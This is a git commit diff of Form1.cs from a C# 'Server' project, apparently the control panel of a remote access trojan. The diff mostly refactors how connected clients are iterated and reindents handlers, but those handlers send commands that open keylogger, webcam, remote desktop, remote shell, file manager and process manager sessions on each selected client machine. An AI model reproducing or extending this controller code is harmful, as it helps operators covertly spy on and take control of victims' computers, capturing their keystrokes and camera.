Update Form1.cs

This commit is contained in:
NYAN CAT 2019-09-02 08:05:50 +03:00
parent 52f6944dfc
commit f8764af03b

View File

@ -243,9 +243,8 @@ namespace Server
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping"; msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = "This is a ping!"; msgpack.ForcePathObject("Message").AsString = "This is a ping!";
foreach (ListViewItem itm in listView1.Items) foreach (Clients client in GetAllClients())
{ {
Clients client = (Clients)itm.Tag;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
} }
GC.Collect(); GC.Collect();
@ -255,26 +254,22 @@ namespace Server
private void UpdateUI_Tick(object sender, EventArgs e) private void UpdateUI_Tick(object sender, EventArgs e)
{ {
Text = $"{Settings.Version} {DateTime.Now.ToLongTimeString()}"; Text = $"{Settings.Version} {DateTime.Now.ToLongTimeString()}";
toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; lock (Settings.LockListviewClients)
toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%";
} }
private void GetThumbnails_Tick(object sender, EventArgs e) private void GetThumbnails_Tick(object sender, EventArgs e)
{ {
if (listView1.Items.Count > 0) try
{ {
try MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
foreach (Clients client in GetAllClients())
{ {
MsgPack msgpack = new MsgPack(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
foreach (ListViewItem itm in listView1.Items)
{
Clients client = (Clients)itm.Tag;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
} }
catch { }
} }
catch { }
} }
#endregion #endregion
@ -663,20 +658,20 @@ namespace Server
msgpack.ForcePathObject("Quality").AsInteger = 30; msgpack.ForcePathObject("Quality").AsInteger = 30;
foreach (Clients client in GetSelectedClients()) foreach (Clients client in GetSelectedClients())
{ {
FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID]; FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID];
if (remoteDesktop == null) if (remoteDesktop == null)
{
remoteDesktop = new FormRemoteDesktop
{ {
remoteDesktop = new FormRemoteDesktop Name = "RemoteDesktop:" + client.ID,
{ F = this,
Name = "RemoteDesktop:" + client.ID, Text = "RemoteDesktop:" + client.ID,
F = this, ParentClient = client,
Text = "RemoteDesktop:" + client.ID, FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop")
ParentClient = client, };
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop") remoteDesktop.Show();
}; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
remoteDesktop.Show(); }
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
} }
} }
catch { } catch { }
@ -691,19 +686,19 @@ namespace Server
msgpack.ForcePathObject("isON").AsString = "true"; msgpack.ForcePathObject("isON").AsString = "true";
foreach (Clients client in GetSelectedClients()) foreach (Clients client in GetSelectedClients())
{ {
FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
if (KL == null) if (KL == null)
{
KL = new FormKeylogger
{ {
KL = new FormKeylogger Name = "keyLogger:" + client.ID,
{ Text = "keyLogger:" + client.ID,
Name = "keyLogger:" + client.ID, F = this,
Text = "keyLogger:" + client.ID, Client = client
F = this, };
Client = client KL.Show();
}; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
KL.Show(); }
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
} }
} }
catch { } catch { }
@ -715,18 +710,18 @@ namespace Server
{ {
foreach (Clients client in GetSelectedClients()) foreach (Clients client in GetSelectedClients())
{ {
FormChat shell = (FormChat)Application.OpenForms["chat:" + client.ID]; FormChat shell = (FormChat)Application.OpenForms["chat:" + client.ID];
if (shell == null) if (shell == null)
{
shell = new FormChat
{ {
shell = new FormChat Name = "chat:" + client.ID,
{ Text = "chat:" + client.ID,
Name = "chat:" + client.ID, F = this,
Text = "chat:" + client.ID, Client = client
F = this, };
Client = client shell.Show();
}; }
shell.Show();
}
} }
} }
catch { } catch { }
@ -741,20 +736,20 @@ namespace Server
msgpack.ForcePathObject("Command").AsString = "getDrivers"; msgpack.ForcePathObject("Command").AsString = "getDrivers";
foreach (Clients client in GetSelectedClients()) foreach (Clients client in GetSelectedClients())
{ {
FormFileManager fileManager = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; FormFileManager fileManager = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
if (fileManager == null) if (fileManager == null)
{
fileManager = new FormFileManager
{ {
fileManager = new FormFileManager Name = "fileManager:" + client.ID,
{ Text = "fileManager:" + client.ID,
Name = "fileManager:" + client.ID, F = this,
Text = "fileManager:" + client.ID, Client = client,
F = this, FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID)
Client = client, };
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID) fileManager.Show();
}; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
fileManager.Show(); }
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
} }
} }
catch { } catch { }
@ -787,19 +782,19 @@ namespace Server
msgpack.ForcePathObject("Option").AsString = "List"; msgpack.ForcePathObject("Option").AsString = "List";
foreach (Clients client in GetSelectedClients()) foreach (Clients client in GetSelectedClients())
{ {
FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID];
if (processManager == null) if (processManager == null)
{
processManager = new FormProcessManager
{ {
processManager = new FormProcessManager Name = "processManager:" + client.ID,
{ Text = "processManager:" + client.ID,
Name = "processManager:" + client.ID, F = this,
Text = "processManager:" + client.ID, Client = client
F = this, };
Client = client processManager.Show();
}; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
processManager.Show(); }
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
} }
} }
catch { } catch { }
@ -1024,19 +1019,19 @@ namespace Server
msgpack.ForcePathObject("Packet").AsString = "shell"; msgpack.ForcePathObject("Packet").AsString = "shell";
foreach (Clients client in GetSelectedClients()) foreach (Clients client in GetSelectedClients())
{ {
FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];
if (shell == null) if (shell == null)
{
shell = new FormShell
{ {
shell = new FormShell Name = "shell:" + client.ID,
{ Text = "shell:" + client.ID,
Name = "shell:" + client.ID, F = this,
Text = "shell:" + client.ID, Client = client
F = this, };
Client = client shell.Show();
}; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
shell.Show(); }
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
} }
} }
catch { } catch { }
@ -1184,20 +1179,20 @@ namespace Server
msgpack.ForcePathObject("Command").AsString = "getWebcams"; msgpack.ForcePathObject("Command").AsString = "getWebcams";
foreach (Clients client in GetSelectedClients()) foreach (Clients client in GetSelectedClients())
{ {
FormWebcam remoteDesktop = (FormWebcam)Application.OpenForms["Webcam:" + client.ID]; FormWebcam remoteDesktop = (FormWebcam)Application.OpenForms["Webcam:" + client.ID];
if (remoteDesktop == null) if (remoteDesktop == null)
{
remoteDesktop = new FormWebcam
{ {
remoteDesktop = new FormWebcam Name = "Webcam:" + client.ID,
{ F = this,
Name = "Webcam:" + client.ID, Text = "Webcam:" + client.ID,
F = this, ParentClient = client,
Text = "Webcam:" + client.ID, FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "Camera")
ParentClient = client, };
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "Camera") remoteDesktop.Show();
}; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
remoteDesktop.Show(); }
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
} }
} }
catch { } catch { }